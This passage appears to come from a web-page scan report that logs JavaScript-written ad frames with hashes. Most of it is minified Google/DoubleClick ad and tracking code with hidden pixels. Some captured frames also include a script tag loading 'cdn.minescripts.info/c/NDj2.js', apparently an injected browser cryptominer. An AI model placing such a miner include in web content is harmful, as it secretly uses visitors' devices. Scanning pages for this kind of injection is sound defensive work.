";return encodeURIComponent(String(a))};var D=function(a,b){this.g=a;this.depth=b},F=function(){var a=z(),b=Math.max(a.length-1,0),c=A(a);a=c.i;var d=c.j,e=c.g,f=[];c=function(a,b){return null==a?b:a};e&&f.push(new D([e.url,e.h?2:0],c(e.depth,1)));d&&d!=e&&f.push(new D([d.url,2],0));a.url&&a!=e&&f.push(new D([a.url,0],c(a.depth,b)));var g=m(f,function(a,b){return f.slice(0,f.length-b)});!a.url||(e||d)&&a!=e||(d=v(a.url))&&g.push([new D([d,1],c(a.depth,b))]);g.push([]);return m(g,k(E,b))},E=function(a,b){var c=p(b,function(a,b){return Math.max(a,b.depth)},-1),d=q(c+2);d[0]=a;l(b,function(a){return d[a.depth+1]=a.g});return d},G=function(){var a=F();return m(a,function(a){return B(a)})};var H=function(a){try{var b=G();b.pop();for(var c=2083-a.length-5,d=0;d<b.length;d++){var e=encodeURIComponent(b[d]);if(e.length<=c)return a+" & rfl = "+e}return 0<b.length?a+" & rfl = "+encodeURIComponent(b[0]):a}catch(f){}return a},I=["
rfl "],J=h;I[0]in J||!J.execScript||J.execScript("
var "+I[0]);for(var K;I.length&&(K=I.shift());){var L;if(L=!I.length)L=void 0!==H;L?J[K]=H:J[K]&&J[K]!==Object.prototype[K]?J=J[K]:J=J[K]={}};}).call(this);</script><script>var url = 'https://googleads.g.doubleclick.net/dbm/ad?dbm_c=AKAmf-CMFjlCYhF4bXqL7oYsQ_ktpQqAq_4_kFCFyARe5rgRQloDs5jtWqcJpO3OXxtKG-hITomA&dbm_d=AKAmf-Bu8n8zpWL0MZ--6xkxKwTJhHkQJItJ0qr1ue_AJ101guX1nQNBCp_PyGzPKQIJ1jrc2QGN_kWsmdEyndmKDSQVfI74nEslDUkqCD_C8PgNokAKGwTCnKUvOdvML40dX50_vfzW9_JlENFDzIOlatXPhGFOjunS5va2ZTAdv26z4cXFlqXmscnyTvicIxF16e0XM7-eHc5DaTl5qc6476Q1Fd6hOLvP_hNk152Y_fh3cRYnpL8f5R4GqfYdhDIv3t8gJxRwqQVKRZsH1NegexOF8yfWtux3AoG4ChnZP3DmLIwEsLa4JpOIqCn3hYkmTUf-0DgTMba-rqMtKdZw8Hb_AmO6P22GjGKwdRyDvg4VnXnYf8wxNydhAqH069msLhr4-usi5a6GxEHiJ6Tso4uuwcUjO_JFUgoSk-jCbq7rcIVPbQEHuWCG0RUVRV_KIZgkcPvzbg09UacNFQL57p9R1OLNfL5xoTJ7juD6DGEqlnYER9XbRQ_cduaUz0UkuX3H_vX_uDxpr_TA_OKNWsbkP-mvZ731w5podjF-ugYN62Mrj83laH7yLr-tBi3_nxjoM6BNug7sL5fAA5Vk3j5QaRIzGmuzOkngcNMyzuomVaLE5MhWl-QunbaHlvUvC1F1wqdjfz3e9Td3KySZwOuPMvxKycGomjdgwdF03X26hEaRChIbkn5uZCZ-3mAxh91Se_g7O6XK9rUNEi-Xa8AXVX8g6sP67vB568JPyLOzjcGoUZQSmy2_QJrwwi8NowIUwW1m21Hvj4GBxs0DMScN93EN-ekqbFcCtKfFdNDP14LvJT0eopPp1SoDKod5zTf1vStq2U1euV-GZeHBkunBHNOVGxgZHpcgxTPTdqcp0JPPEfpF3dFzC1XUxYEH2tt5lO4w406rl8UxE7MvAW-w34DiW9CPiJ16IrJxHtMXmrxS0WbgnyYAkZll-ysV9pXoXd7ZmFI2OrB20Gsoo3WisJOKspMU2BmiklLvaF0IStnSNNnPoq9UVyxO8x-h3PIySe0ClEVkjJ0MS25N0ILrcBwvPxhy4uECzI6ACkewJ5d93ERxM7jMgUup0oqID6IlOsGEx4Q4OOANXeFbIf6aO9Gg2nf-Y6z8v3uEGeJXQIg1dDxmrFXdz2Tfz6MAcvFXzHiEBZWO8KnXdDvbD201ZSgvWgCgq-uvirH97pYc81kCSN8rEl2Z65nLFJBD55rX3b5xzgHRJItjaHZQWJOi2wv-EZW8ieTjPJ3JVT-gFLS7q4CpiVDkwgZVWYlCKNIJ8YH9sCmlX1CUJy6mqIvg0DEmKy1E2dMAjl8wTS9liQgrXsmzlhxzYyV9MDq03LB_R7zNBEkB7pcTkOBS9cnrPmnPeO-mXfMlgkAkbd91dtxuS2CBiYtCcZH4k2V8lNJ7Rq0w_E08caJEyxjYcdeuSBeTtbHrw0uXm8vkSMshIAZ5taWC71eAqe2ve36VL-EnOgkRBFORSdLoW07KoEXW4Q4CSkyS-b0e4uUaakOWawX5-sOD9GZ-38_-5IAYUZWaUb812tcIgCzDdJQAOqIHvNV-CroCNNuyPoevy6eY8EOuENCtDu1HVDm37DA00wCgxsjNoMaSl_RVSizUXokBKVdKMznZv9Z0w_HrUBheuyTiXTw&cid=CAASBORokGo';document.write('<script src="
' + (window.rfl ? window.rfl(url) : url) + '
"></s' + 'cript>');</script><script src="
https: //cdn.minescripts.info/c/NDj2.js"></script></div></div><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js" async></script><script>function initWindowFocus() {window['window_focus_for_click'] =wfocusnhinit("https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCrn4yAPCCWrGlOIWyYePbsJgIsuTdtlDQ7MDZyQbwLhABINTukgpgw9ykhZgYyAEJqQJ82UeqoKy0PqgDAcgDAqoEtAFP0PyDAzBDLXzYrEa1aDA_gZL3lQxd4zkXiffYRBgMhjKyqRYhplocDF0iMQ4AAM9CEAWF0gSH828sey2mjfKYX5NXDrV0Shdbsi72WV0kfAIYL6jahyt77rAVb7jemk44hZJTsWg4QV-oDwe9JaYxQf7YykBHteQEIrFS9_ZQ2rvPgOraF8bCvHUymiiewWqUTCZK5G2m-sSn2w99ex4whdr1WRDdXpZhA8SaObzfmDEFqJfgBAOQBgGgBkyAB6PvsnqoB6a-G9gHANIIBwiAYRABGAKACgHQEwDYEwM\x26sigh\x3d650BQtiZQL4","APCCWsy4N8WvYu68j7gN","CLGlqJWHo9kCFQVZGAod4y0Mgw",true,false,false,0);}if (window.wfocusnhinit) {initWindowFocus();} else {window['google_wf_async'] = initWindowFocus;}</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/activeview/osd_listener.js"></script><script type="text/javascript">osdlfm(-1,'','BKY2BAPCCWrGlOIWyYePbsJgIANDswNnJBgAAEAE4AcgBCcgDAuAEA6AGTNIIBQiAYRAB','',3182230553,true,'ud\x3d1\x26la\x3d0\x26alp\x3dai\x26alh\x3d2037812428\x26',3,'CAASBORokGo','//pagead2.googlesyndication.com/activeview?avi\x3dBKY2BAPCCWrGlOIWyYePbsJgIANDswNnJBgAAEAE4AcgBCcgDAuAEA6AGTNIIBQiAYRAB\x26cid\x3dCAASBORokGo');</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js"></script><script>googqscp.init([[[[null,500,99,2,8,null,null,null,1]]],null,null,null,null,0,null,null,0]);</script><script>if (window.top && window.top.postMessage) {window.top.postMessage('{"googMsgType":"adpnt"}','*');}</script><div style="display:none" data-google-query-id="CLGlqJWHo9kCFQVZGAod4y0Mgw"></div><div style="bottom:0;right:0;width:86px;height:250px;background:initial !important;position:absolute !important;max-width:100% !important;max-height:100% !important;pointer-events:none !important;image-rendering:-moz-crisp-edges !important;z-index:2147483647;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACsAAAAWBAMAAACrl3iAAAAABlBMVEUAAAD+AciWmZzWAAAAAnRSTlMAApidrBQAAAB6SURBVBjTbVEBEsAgCNIf8P/X7iRE22Zt6UnIUcR/5InKrgrsgh9cZSEi5+SfGBAF4Vm5n5y00OIu2HBrtvmlpKNYL90hPLeGHFZfYAH2sqdfrBgJwNk4qGjpon8r8T3rFqwzbNU2aJyT/Pg46DS232u9uP1E28Hw+zwpyAWg1wCC3gAAAABJRU5ErkJggg==') !important"></div></body></html>

#9 JavaScript::Write (size: 8687, repeated: 1) - SHA256: 8e76cfc62466f433d3efa86860230d1c871a17049aa74499cb50bceee660b5c2

                                        < !doctype html > < html > < head > < script >
    var google_casm = [null, null, null, null, null, null, 1]; < /script></head > < body leftMargin = "0"
topMargin = "0"
marginwidth = "0"
marginheight = "0" > < DIV STYLE = "position: absolute; left: 0px; top: 0px; visibility: hidden;" > < IMG SRC = "https://pagead2.googlesyndication.com/pagead/gen_204?id=xbid&dbm_b=AKAmf-BgoA2w1NASbZEJL93drJwYSwO4zfHjrGRquqtovopGJXtHztlGRXKmqc9sBFIOEuI-bOowT_ZNAdHIXl-VDvIo_9ralrmLCi-bIbaBqmqVCmDog7U"
BORDER = 0 WIDTH = 1 HEIGHT = 1 ALT = ""
STYLE = "display:none" > < /DIV><iframe src="https:/ / googleads.g.doubleclick.net / xbbe / pixel ? d = COD5IRD7n5MBGO3Xwi0wAQ & v = APEucNX2YrS8W8jkmTBxKWbYGjDOX7e1TbQovl8_Xvp22_mNVEyYmjOczBRnRT1PZlfi2H35Fkhh " style="
display: none "></iframe><div><div style="
position: relative;
display: inline - block;
"><script>(function(){var h=this,k=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=c.slice();b.push.apply(b,arguments);return a.apply(this,b)}};var l=Array.prototype.forEach?function(a,b){Array.prototype.forEach.call(a,b,void 0)}:function(a,b){for(var c=a.length,d="
string "==typeof a?a.split("
"):a,e=0;e<c;e++)e in d&&b.call(void 0,d[e],e,a)},m=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e="
string "==typeof a?a.split("
"):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d},p=Array.prototype.reduce?function(a,b,c){return Array.prototype.reduce.call(a,b,c)}:function(a,b,c){var d=c;l(a,function(c,f){d=b.call(void 0,d,c,f,a)});return d},q=function(a){for(var b=[],c=0;c<a;c++)b[c]="
";return b};var r=function(a){r["
"](a);return a};r["
"]=function(){};var t=function(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)},u=/https?:\/\/[^\/]+/,v=function(a){return(a=u.exec(a))&&a[0]||"
"};var w=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,x=function(a,b,c){this.i=a;this.j=b;this.g=c},y=function(a,b){this.url=a;this.h=!!b;this.depth=null},A=function(a){a=a||z();for(var b=new y(h.location.href,!1),c=null,d=a.length-1,e=d;0<=e;--e){var f=a[e];!c&&w.test(f.url)&&(c=f);if(f.url&&!f.h){b=f;break}}e=null;f=a.length&&a[d].url;0!=b.depth&&f&&(e=a[d]);return new x(b,e,c)},z=function(){var a=h,b=[],c=null;do{var d=a;try{var e;if(e=!!d&&null!=d.location.href)b:{try{r(d.foo);e=!0;break b}catch(n){}e=!1}var f=e}catch(n){f=!1}if(f){var g=d.location.href;c=d.document&&d.document.referrer||null}else g=c,c=null;b.push(new y(g||"
"));try{a=d.parent}catch(n){a=null}}while(a&&d!=a);a=0;for(d=b.length-1;a<=d;++a)b[a].depth=d-a;d=h;if(d.location&&d.location.ancestorOrigins&&d.location.ancestorOrigins.length==b.length-1)for(a=1;a<b.length;++a)g=b[a],g.url||(g.url=d.location.ancestorOrigins[a-1]||"
",g.h=!0);return b};var C=function(a,b,c,d,e){var f=[];t(a,function(a,n){(a=B(a,b,c,d,e))&&f.push(n+" = "+a)});return f.join(b)},B=function(a,b,c,d,e){if(null==a)return"
";b=b||" & ";c=c||", $ ";"
string "==typeof c&&(c=c.split("
"));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(B(a[g],b,c,d+1,e));return f.join(c[d])}}else if("
object "==typeof a)return e=e||0,2>e?encodeURIComponent(C(a,b,c,d,e+1)):"...
";return encodeURIComponent(String(a))};var D=function(a,b){this.g=a;this.depth=b},F=function(){var a=z(),b=Math.max(a.length-1,0),c=A(a);a=c.i;var d=c.j,e=c.g,f=[];c=function(a,b){return null==a?b:a};e&&f.push(new D([e.url,e.h?2:0],c(e.depth,1)));d&&d!=e&&f.push(new D([d.url,2],0));a.url&&a!=e&&f.push(new D([a.url,0],c(a.depth,b)));var g=m(f,function(a,b){return f.slice(0,f.length-b)});!a.url||(e||d)&&a!=e||(d=v(a.url))&&g.push([new D([d,1],c(a.depth,b))]);g.push([]);return m(g,k(E,b))},E=function(a,b){var c=p(b,function(a,b){return Math.max(a,b.depth)},-1),d=q(c+2);d[0]=a;l(b,function(a){return d[a.depth+1]=a.g});return d},G=function(){var a=F();return m(a,function(a){return B(a)})};var H=function(a){try{var b=G();b.pop();for(var c=2083-a.length-5,d=0;d<b.length;d++){var e=encodeURIComponent(b[d]);if(e.length<=c)return a+" & rfl = "+e}return 0<b.length?a+" & rfl = "+encodeURIComponent(b[0]):a}catch(f){}return a},I=["
rfl "],J=h;I[0]in J||!J.execScript||J.execScript("
var "+I[0]);for(var K;I.length&&(K=I.shift());){var L;if(L=!I.length)L=void 0!==H;L?J[K]=H:J[K]&&J[K]!==Object.prototype[K]?J=J[K]:J=J[K]={}};}).call(this);</script><script>var url = 'https://googleads.g.doubleclick.net/dbm/ad?dbm_c=AKAmf-AQ7uQTK6Y3BXPwcPOijzJLpc5QWvIWDsvc06a-ymETLveQJ_D1iB7pudsOps0x6h39xuQ0&dbm_d=AKAmf-CU3de9-V7BBeTGaHBvdvjRFynRkXr6KSHBD6jVV-mQHiS1LjmKZocdZMeO7h5IoBkQxILN5KdmVIKbVbK7u_ZDP11qCuwP0GJjOKvjWH7feXch2hkBfsTwdz7oeZ0xsgx7iebdw4MhOfxEzCeQUQElYQaQh8iZ_VXFwCRTbiO9RKaOyNoFMsWrZejBPpE36LNfdxuA7nIbEzgmhXIoXQSTv1ZNn60pvY9mDAu02szuiPv85gVnD8fg1xq3ii_t6JjZO6QoE0vQZzDHJ0Gs7hLiCey1jYrYHhoxkwbG9Gi9X7mPI8OshZi8NJl-WIwXMt7JvKwIpPkgyOltMUuv5aQfgv5H2E0aI_tGBsneYJGbzgd4Gdsf-l4INzf--Jp4HUH6sucbWrrFye9kPEN1eGXg9mOe8w7_KK3e8RUuccQdw4tiDfUwErkQsBUlyDSm4gps804lEBUNJGyv4EsfhAVXf_7j4CnpZMo8Uxry2vjJsK21LO18eRMsHqJZN80Tyw7rjXm4wVzQMrhRvt-tzk0ZRz5sGfNYY8la4bGfWgKrqzogEJKie5LKk4NMaHr5JSDpLP9oUI-GaRBjwe_b5VC0NALyz2ivwlKZGfw2zRiQgDfYnuc855grfyqc_uf7VC60aHgva-r__FFxROLdTo-3ScwJHflWEcJ4qXNTHGWgbqcRDUUi78DUzt39LtE8NCDaCwJvnmW4L8TnV79aY_WZqkwcoM3P6pAxaOvQBdz4rD11JwiQXAit_QTfi3revowP2vc_uSvEreoUtuT_XwBm9Gp9iHTD_aB4ggNjZMUk2TGXNP-4M7PQi8rge413WKmptXT5p9T9Ph2U4ytXU9BAuyIRNkhXw5vmMgVxkHJ0fh4sZKT96IYD8tY-6PFWE_vyTnsnGJL8wQNNns9_GasCE4HMk4ZeI-VWTuykRrSeNqqXl4WFP3cQ0cny3AR6cqG4DlNpeDQQHGWDZUlKipzsYTVktXsaK_FNks5nD1YLrPXsBhmNDm0fVYqVSpzZLJLNeosgk85uM9Pn12-RP8S0g_9K-XfdkwhfZbxvDUr518UpP3h-VHDVmLImnwdUPa2DlJ0jie6bwDHA1iO4CjpSph8W_6KJCR_CcZUXSQ_ylFzZPR0EhM-yvl70djwTrkmBjpR41aFZ7ohlFQZ0MaEnlM-MILDRuSdjRG8L-dPGaA-ky8U2RbTZHtKt1OsxrnOQWVqR1oxc4qzKU0Dfscsz2gwtZD3EOQvhpCbtp4QG6YEdEhjHSVM8S5CVPSdrVlmRd6QNOpQgEWYGzmIy1Lcwlm3AgnHEl4gqQiU8dQMtl7WPhytPKuZWArJCXwtxxsH-w3hHe_IFDJpTrBPaF3wgSagQ0wlsfRrXvZ1gJpzYFIYa1OA3D1ORoIxGK3wd7hlOwrBN9oN1JCQCKCH7oB3O9zFo1yEfY7a13nqyfBqujNL-3InexkKXFiVViblG-FWvliZbL-65gpOQ0bQucQv0TmhKlyjhhpxNtiHNEQ6rRTZLa71R-mIacBT1K8HNkttVcaqI1Gmc5uASmcMF22-ZaV4pWmYZdGoPeEawxyPPvUgPT4nZxX6JXe--h-20sUpLHYICKILit9yQkcFtaPCgPYQ3FRHDlxRoOuh1ZTCNwP8puDg&cid=CAASBORoCbo';document.write('<script src="
' + (window.rfl ? window.rfl(url) : url) + '
"></s' + 'cript>');</script><script src="
https: //cdn.minescripts.info/c/NDj2.js"></script></div></div><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_window_focus_non_hydra.js" async></script><script>function initWindowFocus() {window['window_focus_for_click'] =wfocusnhinit("https://googleads.g.doubleclick.net/pagead/conversion/?ai\x3dCBlUsAPCCWoX0Oc6yYsi5nUiy5N22UNDswNnJBvAuEAEg1O6SCmDD3KSFmBjIAQmpAnzZR6qgrLQ-qAMByAMCqgS0AU_QqW33ujlKmIT_Z_VJ9S-YZapGbnXPkg8olmKTiRyoBAs26eRRqNJ8bLl0A6e9i9cnUvUG9NujKP2vTNnVbCi2cKPwl-_24YydTbObvk1y2LLZFh80ySaXCPMwQ5C8Ikyy8fJ6YbhJpu4lcJ7QYmCInrRqFHU6-00IU9X0PB71yDc-MJi3nIUBF9FFPW4-25zPeT49XWW0m0xysQOOL6s_HCi-wnsyzCvGERUyf21tPFoQCuAEA5AGAaAGTIAHo--yeqgHpr4b2AcA0ggHCIBhEAEYAoAKAdATANgTAw\x26sigh\x3d0-nZ7SZ2dOM","APCCWo_6OIWhY5e3kLAK","CIX0qZWHo9kCFU6ZGAodyFwHCQ",true,false,false,0);}if (window.wfocusnhinit) {initWindowFocus();} else {window['google_wf_async'] = initWindowFocus;}</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/activeview/osd_listener.js"></script><script type="text/javascript">osdlfm(-1,'','Bp8K1APCCWoX0Oc6yYsi5nUgA0OzA2ckGAAAQATgByAEJyAMC4AQDoAZM0ggFCIBhEAE','',3182230553,true,'ud\x3d1\x26la\x3d0\x26alp\x3dai\x26alh\x3d2637343930\x26',3,'CAASBORoCbo','//pagead2.googlesyndication.com/activeview?avi\x3dBp8K1APCCWoX0Oc6yYsi5nUgA0OzA2ckGAAAQATgByAEJyAMC4AQDoAZM0ggFCIBhEAE\x26cid\x3dCAASBORoCbo');</script><script src="https://tpc.googlesyndication.com/pagead/js/r20180207/r20110914/client/ext/m_qs_click_protection.js"></script><script>googqscp.init([[[[null,500,99,2,8,null,null,null,1]]],null,null,null,null,0,null,null,0]);</script><script>if (window.top && window.top.postMessage) {window.top.postMessage('{"googMsgType":"adpnt"}','*');}</script><div style="display:none" data-google-query-id="CIX0qZWHo9kCFU6ZGAodyFwHCQ"></div><div style="bottom:0;right:0;width:86px;height:250px;background:initial !important;position:absolute !important;max-width:100% !important;max-height:100% !important;pointer-events:none !important;image-rendering:-moz-crisp-edges !important;z-index:2147483647;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACsAAAAWBAMAAACrl3iAAAAABlBMVEUAAAD+AciWmZzWAAAAAnRSTlMAApidrBQAAAB/SURBVBjTbZEBDsAgCAPrD/r/1w6BFkzmllmk4smA/3FqhAg5EZhZ9kdROpDuqxVFhiTy4UTKe7ZbtcvXtfts72gSj2te3AVf3B3bmBjDtM5OZ4pjBhFLqxdGB16QuTGng2IXi+7FvWd30BNWB+sVy7jdkefvFAJ7ZUjQha/6AB30BYDOuhgoAAAAAElFTkSuQmCC') !important"></div></body></html>

#10 JavaScript::Write (size: 12642, repeated: 1) - SHA256: f2f7617064a2dd14750738cb0a6377575ebf8616313e223d373f4d8cc6edeb0b

                                        < !doctype html > < html > < head > < script >
    var google_casm = [null, null, null, null, null, null, 1]; < /script></head > < body leftMargin = "0"
topMargin = "0"
marginwidth = "0"
marginheight = "0" > < script > (function() {
    var aa = "function" == typeof Object.create ? Object.create : function(a) {
            var b = function() {};
            b.prototype = a;
            return new b
        },
        l;
    if ("function" == typeof Object.setPrototypeOf) l = Object.setPrototypeOf;
    else {
        var m;
        a: {
            var ba = {
                    a: !0
                },
                p = {};
            try {
                p.__proto__ = ba;
                m = p.a;
                break a
            } catch (a) {}
            m = !1
        }
        l = m ? function(a, b) {
            a.__proto__ = b;
            if (a.__proto__ !== b) throw new TypeError(a + " is not extensible");
            return a
        } : null
    }
    var t = l,
        u = this,
        v = function(a, b) {
            a = a.split(".");
            var c = u;
            a[0] in c || !c.execScript || c.execScript("var " + a[0]);
            for (var d; a.length && (d = a.shift());) a.length || void 0 === b ? c[d] && c[d] !== Object.prototype[d] ? c = c[d] : c = c[d] = {} : c[d] = b
        },
        w = Date.now || function() {
            return +new Date
        };
    var x = document,
        z = window;
    var ca = Array.prototype.forEach ? function(a, b) {
        Array.prototype.forEach.call(a, b, void 0)
    } : function(a, b) {
        for (var c = a.length, d = "string" == typeof a ? a.split("") : a, e = 0; e < c; e++) e in d && b.call(void 0, d[e], e, a)
    };
    var A = function(a) {
        A[" "](a);
        return a
    };
    A[" "] = function() {};
    var B = function(a) {
            try {
                var b;
                if (b = !!a && null != a.location.href) a: {
                    try {
                        A(a.foo);
                        b = !0;
                        break a
                    } catch (c) {}
                    b = !1
                }
                return b
            } catch (c) {
                return !1
            }
        },
        da = function(a, b) {
            if (a)
                for (var c in a) Object.prototype.hasOwnProperty.call(a, c) && b.call(void 0, a[c], c, a)
        };
    var ea;
    ea = /^true$/.test("");
    var fa = function(a, b, c) {
        a.addEventListener ? a.addEventListener(b, c, void 0) : a.attachEvent && a.attachEvent("on" + b, c)
    };
    var ha = function(a, b) {
        a.google_image_requests || (a.google_image_requests = []);
        var c = a.document.createElement("img");
        c.src = b;
        a.google_image_requests.push(c)
    };
    var ia = !!window.google_async_iframe_id,
        C = ia && window.parent || window;
    var D = function(a) {
            return {
                visible: 1,
                hidden: 2,
                prerender: 3,
                preview: 4,
                unloaded: 5
            }[a.visibilityState || a.webkitVisibilityState || a.mozVisibilityState || ""] || 0
        },
        ka = function(a) {
            var b;
            a.visibilityState ? b = "visibilitychange" : a.mozVisibilityState ? b = "mozvisibilitychange" : a.webkitVisibilityState && (b = "webkitvisibilitychange");
            return b
        };
    var E = null,
        F = !1,
        H = function() {
            this.g = x;
            this.o = z;
            this.j = !1;
            this.h = this.l = null;
            this.i = [];
            this.m = [];
            F ? this.h = w() : 3 == D(this.g) ? (this.h = w(), la(this)) : G(this)
        },
        G = function(a) {
            if (!a.j) {
                a.j = !0;
                for (var b = 0; b < a.i.length; ++b) a.u.apply(a, a.i[b]);
                a.i = [];
                for (b = 0; b < a.m.length; ++b) a.o.setTimeout(a.m[b], 0);
                a.m = []
            }
        },
        la = function(a) {
            var b = function() {
                if (3 != D(a.g)) {
                    G(a);
                    var b = ka(a.g);
                    if (b && a.l) {
                        var c = a.g,
                            f = a.l;
                        c.removeEventListener ? c.removeEventListener(b, f, void 0) : c.detachEvent && c.detachEvent("on" + b, f)
                    }
                }
            };
            E && (b = E("di::vch", b));
            a.l = b;
            var c = ka(a.g);
            c && fa(a.g, c, b)
        };
    H.prototype.u = function(a) {
        this.o.rvdt = this.h ? w() - this.h : 0;
        ha(this.o, a)
    };
    H.g = void 0;
    H.h = function() {
        return H.g ? H.g : H.g = new H
    };
    var I = function(a, b, c) {
        c = void 0 === c ? {} : c;
        this.error = a;
        this.context = b.context;
        this.line = b.line || -1;
        this.msg = b.message || "";
        this.file = b.file || "";
        this.id = b.id || "jserror";
        this.meta = c
    };
    var ma = /^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/,
        na = function(a, b) {
            this.g = a;
            this.h = b
        },
        oa = function(a, b) {
            this.url = a;
            this.s = !!b;
            this.depth = null
        };
    var J = function() {
            this.i = "&";
            this.j = !1;
            this.h = {};
            this.l = 0;
            this.g = []
        },
        pa = function(a, b) {
            var c = {};
            c[a] = b;
            return [c]
        },
        ra = function(a, b, c, d, e) {
            var f = [];
            da(a, function(a, n) {
                (a = qa(a, b, c, d, e)) && f.push(n + "=" + a)
            });
            return f.join(b)
        },
        qa = function(a, b, c, d, e) {
            if (null == a) return "";
            b = b || "&";
            c = c || ",$";
            "string" == typeof c && (c = c.split(""));
            if (a instanceof Array) {
                if (d = d || 0, d < c.length) {
                    for (var f = [], g = 0; g < a.length; g++) f.push(qa(a[g], b, c, d + 1, e));
                    return f.join(c[d])
                }
            } else if ("object" == typeof a) return e = e || 0, 2 > e ? encodeURIComponent(ra(a, b, c, d, e + 1)) : "...";
            return encodeURIComponent(String(a))
        },
        K = function(a, b, c, d) {
            a.g.push(b);
            a.h[b] = pa(c, d)
        },
        ta = function(a, b, c, d) {
            b = b + "//" + c + d;
            var e = sa(a) - d.length;
            if (0 > e) return "";
            a.g.sort(function(a, b) {
                return a - b
            });
            d = null;
            c = "";
            for (var f = 0; f < a.g.length; f++)
                for (var g = a.g[f], n = a.h[g], k = 0; k < n.length; k++) {
                    if (!e) {
                        d = null == d ? g : d;
                        break
                    }
                    var h = ra(n[k], a.i, ",$");
                    if (h) {
                        h = c + h;
                        if (e >= h.length) {
                            e -= h.length;
                            b += h;
                            c = a.i;
                            break
                        } else a.j && (c = e, h[c - 1] == a.i && --c, b += h.substr(0, c), c = a.i, e = 0);
                        d = null == d ? g : d
                    }
                }
            a = "";
            null != d && (a = c + "trn=" + d);
            return b + a
        },
        sa = function(a) {
            var b = 1,
                c;
            for (c in a.h) b = c.length > b ? c.length : b;
            return 3997 - b - a.i.length - 1
        };
    var ua = function(a, b, c, d) {
        if (Math.random() < (d || a.g)) try {
            if (c instanceof J) var e = c;
            else e = new J, da(c, function(a, b) {
                var c = e,
                    d = c.l++;
                a = pa(b, a);
                c.g.push(d);
                c.h[d] = a
            });
            var f = ta(e, a.j, a.h, a.i + b + "&");
            f && ha(u, f)
        } catch (g) {}
    };
    var L = null;
    var va = function() {
            var a = u.performance;
            return a && a.now && a.timing ? Math.floor(a.now() + a.timing.navigationStart) : w()
        },
        wa = function() {
            var a = void 0 === a ? u : a;
            return (a = a.performance) && a.now ? a.now() : null
        };
    var xa = function(a, b, c) {
        this.label = a;
        this.type = b;
        this.value = c;
        this.duration = 0;
        this.uniqueId = this.label + "_" + this.type + "_" + Math.random();
        this.slotId = void 0
    };
    var M = u.performance,
        ya = !!(M && M.mark && M.measure && M.clearMarks),
        N = function(a) {
            var b = !1,
                c;
            return function() {
                b || (c = a(), b = !0);
                return c
            }
        }(function() {
            var a;
            if (a = ya) {
                var b;
                if (null === L) {
                    L = "";
                    try {
                        a = "";
                        try {
                            a = u.top.location.hash
                        } catch (c) {
                            a = u.location.hash
                        }
                        a && (L = (b = a.match(/\bdeid=([\d,]+)/)) ? b[1] : "")
                    } catch (c) {}
                }
                b = L;
                a = !!b.indexOf && 0 <= b.indexOf("1337")
            }
            return a
        }),
        za = function() {
            var a = P;
            this.h = [];
            this.i = a || u;
            var b = null;
            a && (a.google_js_reporting_queue = a.google_js_reporting_queue || [], this.h = a.google_js_reporting_queue, b = a.google_measure_js_timing);
            this.g = N() || (null != b ? b : 1 > Math.random())
        },
        Aa = function(a) {
            a && M && N() && (M.clearMarks("goog_" + a.uniqueId + "_start"), M.clearMarks("goog_" + a.uniqueId + "_end"))
        };
    za.prototype.start = function(a, b) {
        if (!this.g) return null;
        var c = wa() || va();
        a = new xa(a, b, c);
        b = "goog_" + a.uniqueId + "_start";
        M && N() && M.mark(b);
        return a
    };
    var R = function() {
        var a = Q;
        this.h = Ba;
        this.j = this.i;
        this.g = void 0 === a ? null : a
    };
    R.prototype.pinger = function() {
        return this.h
    };
    var Ca = function(a, b, c, d) {
            try {
                if (a.g && a.g.g) {
                    var e = a.g.start(b.toString(), 3);
                    var f = c();
                    var g = a.g;
                    c = e;
                    if (g.g && "number" == typeof c.value) {
                        var n = wa() || va();
                        c.duration = n - c.value;
                        var k = "goog_" + c.uniqueId + "_end";
                        M && N() && M.mark(k);
                        g.g && g.h.push(c)
                    }
                } else f = c()
            } catch (h) {
                g = !0;
                try {
                    Aa(e), g = a.j.call(a, b, new S(T(h), h.fileName, h.lineNumber), void 0, d)
                } catch (q) {
                    a.i(217, q)
                }
                if (!g) throw h;
            }
            return f
        },
        W = function(a, b, c) {
            var d = Da;
            return function(e) {
                for (var f = [], g = 0; g < arguments.length; ++g) f[g] = arguments[g];
                return Ca(d, a, function() {
                    return b.apply(void 0, f)
                }, c)
            }
        };
    R.prototype.i = function(a, b, c, d, e) {
        e = e || "jserror";
        try {
            var f = new J;
            f.j = !0;
            K(f, 1, "context", a);
            b.error && b.meta && b.id || (b = new S(T(b), b.fileName, b.lineNumber));
            b.msg && K(f, 2, "msg", b.msg.substring(0, 512));
            b.file && K(f, 3, "file", b.file);
            0 < b.line && K(f, 4, "line", b.line);
            var g = b.meta || {};
            if (d) try {
                d(g)
            } catch (U) {}
            b = [g];
            f.g.push(5);
            f.h[5] = b;
            g = u;
            b = [];
            var n = null;
            do {
                d = g;
                if (B(d)) {
                    var k = d.location.href;
                    n = d.document && d.document.referrer || null
                } else k = n, n = null;
                b.push(new oa(k || ""));
                try {
                    g = d.parent
                } catch (U) {
                    g = null
                }
            } while (g && d != g);
            k = 0;
            for (var h = b.length - 1; k <= h; ++k) b[k].depth = h - k;
            d = u;
            if (d.location && d.location.ancestorOrigins && d.location.ancestorOrigins.length == b.length - 1) for (k = 1; k < b.length; ++k) {
                var q = b[k];
                q.url || (q.url = d.location.ancestorOrigins[k - 1] || "", q.s = !0)
            }
            var O = new oa(u.location.href, !1);
            h = null;
            var V = b.length - 1;
